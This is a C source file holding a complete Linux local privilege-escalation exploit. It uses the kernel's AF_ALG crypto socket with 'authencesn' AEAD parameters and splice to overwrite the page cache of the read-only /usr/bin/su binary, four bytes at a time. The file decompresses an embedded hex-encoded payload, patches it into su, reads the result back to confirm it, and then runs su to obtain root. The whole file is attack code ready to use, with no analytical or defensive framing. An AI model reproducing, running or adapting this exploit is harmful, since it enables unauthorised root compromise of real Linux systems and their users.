#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <string.h>
#include <sys/uio.h>
#include <zlib.h>

unsigned char* hex_to_bytes(const char* hex_str, size_t* out_len)
{
    size_t len = strlen(hex_str);
    *out_len = len / 2;
    unsigned char* bytes = malloc(*out_len);
    if (!bytes) return NULL;

    for (size_t i = 0; i < *out_len; i++) {
        sscanf(hex_str + i * 2, "%02hhx", &bytes[i]);
    }
    return bytes;
}

void exploit_core(int target_fd, off_t offset, const unsigned char* chunk)
{
    int sock, opfd;
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "authencesn(hmac(sha256),cbc(aes))"
    };

    sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        return;
    }

    if (bind(sock, (struct sockaddr*)&sa, sizeof(sa)) < 0) {
        close(sock);
        return;
    }

    size_t key_len;
    unsigned char* key = hex_to_bytes(
        "08000100000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
        &key_len);
    setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, key_len);
    free(key);

    int authsize = 4;
    setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, &authsize, sizeof(authsize));

    opfd = accept(sock, NULL, 0);
    if (opfd < 0) {
        close(sock);
        return;
    }

    unsigned char aad[8] = {'A','A','A','A', 0,0,0,0};
    memcpy(aad + 4, chunk, 4);

    struct iovec iov = { .iov_base = aad, .iov_len = 8 };

    char control[CMSG_SPACE(20) + CMSG_SPACE(sizeof(int)) * 2];
    struct msghdr msg = {0};
    struct cmsghdr *cmsg;

    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = control;
    msg.msg_controllen = sizeof(control);

    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type  = ALG_SET_IV;
    cmsg->cmsg_len   = CMSG_LEN(20);
    unsigned char *ivp = CMSG_DATA(cmsg);
    ivp[0] = 0x10;
    memset(ivp + 1, 0, 19);

    cmsg = CMSG_NXTHDR(&msg, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type  = ALG_SET_OP;
    cmsg->cmsg_len   = CMSG_LEN(sizeof(int));
    *((int*)CMSG_DATA(cmsg)) = 0;

    cmsg = CMSG_NXTHDR(&msg, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type  = ALG_SET_AEAD_ASSOCLEN;
    cmsg->cmsg_len   = CMSG_LEN(sizeof(int));
    *((int*)CMSG_DATA(cmsg)) = 8;

    sendmsg(opfd, &msg, MSG_MORE);

    int pipe_fds[2];
    if (pipe(pipe_fds) == 0) {
        size_t splice_len = offset + 4;

        loff_t file_off = 0;
        splice(target_fd, &file_off, pipe_fds[1], NULL, splice_len, SPLICE_F_MOVE);
        splice(pipe_fds[0], NULL, opfd, NULL, splice_len, SPLICE_F_MOVE);

        size_t recv_len = offset + 8;
        char *dummy = malloc(recv_len);
        recv(opfd, dummy, recv_len, 0);
        free(dummy);

        close(pipe_fds[0]);
        close(pipe_fds[1]);
    }

    close(opfd);
    close(sock);
}

int main(void)
{
    int fd = open("/usr/bin/su", O_RDONLY);
    if (fd < 0) {
        perror("open /usr/bin/su");
        return 1;
    }

    const char* compressed_hex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3";

    size_t comp_len;
    unsigned char* compressed = hex_to_bytes(compressed_hex, &comp_len);

    unsigned long uncomp_len = 4096;
    unsigned char* payload = malloc(uncomp_len);

    if (uncompress(payload, &uncomp_len, compressed, comp_len) != Z_OK) {
        fprintf(stderr, "[-] Decompression failed\n");
        free(compressed);
        free(payload);
        close(fd);
        return 1;
    }

    free(compressed);

    printf("[+] Decompressed %lu bytes\n", uncomp_len);

    for (off_t i = 0; i < (off_t)uncomp_len; i += 4) {
        exploit_core(fd, i, payload + i);
    }

    /* verify: read back what the page cache now holds */
    unsigned char hdr[160];
    lseek(fd, 0, SEEK_SET);
    ssize_t rd = read(fd, hdr, 160);
    printf("[+] Read back %zd bytes from su: ", rd);
    for (int i = 0; i < (rd < 160 ? rd : 160); i++)
        printf("%02x", hdr[i]);
    printf("\n[+] payload was:                ");
    for (int i = 0; i < (int)uncomp_len; i++)
        printf("%02x", payload[i]);
    printf("\n");

    free(payload);
    close(fd);

    printf("[+] Patching done. Running su...\n");
    system("su");

    return 0;
}
